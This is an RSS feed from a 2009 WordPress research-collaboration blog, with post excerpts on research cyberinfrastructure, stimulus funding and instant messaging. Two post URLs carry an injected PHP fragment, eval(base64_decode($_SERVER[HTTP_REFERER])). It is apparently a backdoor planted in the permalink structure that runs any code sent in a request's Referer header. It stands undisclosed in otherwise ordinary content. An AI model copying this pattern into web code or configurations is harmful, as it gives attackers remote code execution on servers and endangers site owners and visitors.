http://mynetresearch.co.uk/wordpress Empowering Research Collaboration Mon, 09 Nov 2009 21:57:25 +0000 http://backend.userland.com/rss092 en Academic research practices have remained virtually identical in its conduct and organization over the last few decades.  Disparate groups of researchers work on ideas, projects and inventions in isolated clusters, with little sharing of information and synergies from collaboration.  However a new shift in paradigm is not only changing how ... http://mynetresearch.co.uk/wordpress/2009/11/09/research-20-five-tips-for-evaluating-your-university%e2%80%99s-research-cyberinfrastructure-needs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Stimulus Funding Can Lead to Cyber Infrastructures Murugan Anandarajan, Ph.D   The recent announcement by President Obama to dedicate U.S.$5 billion in federal stimulus funding for scientific and other research is a an enormous opportunity for our field.   Funding will not only help scientists and researchers to work toward cures and other scientific ... http://mynetresearch.co.uk/wordpress/2009/10/05/stimulus-funding-can-lead-to-cyber-infrastructures/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Enterprise instant messaging applications have started gaining attention from businesses, even though a majority of businesses in Asia Pacific uses consumer instant messaging tools. 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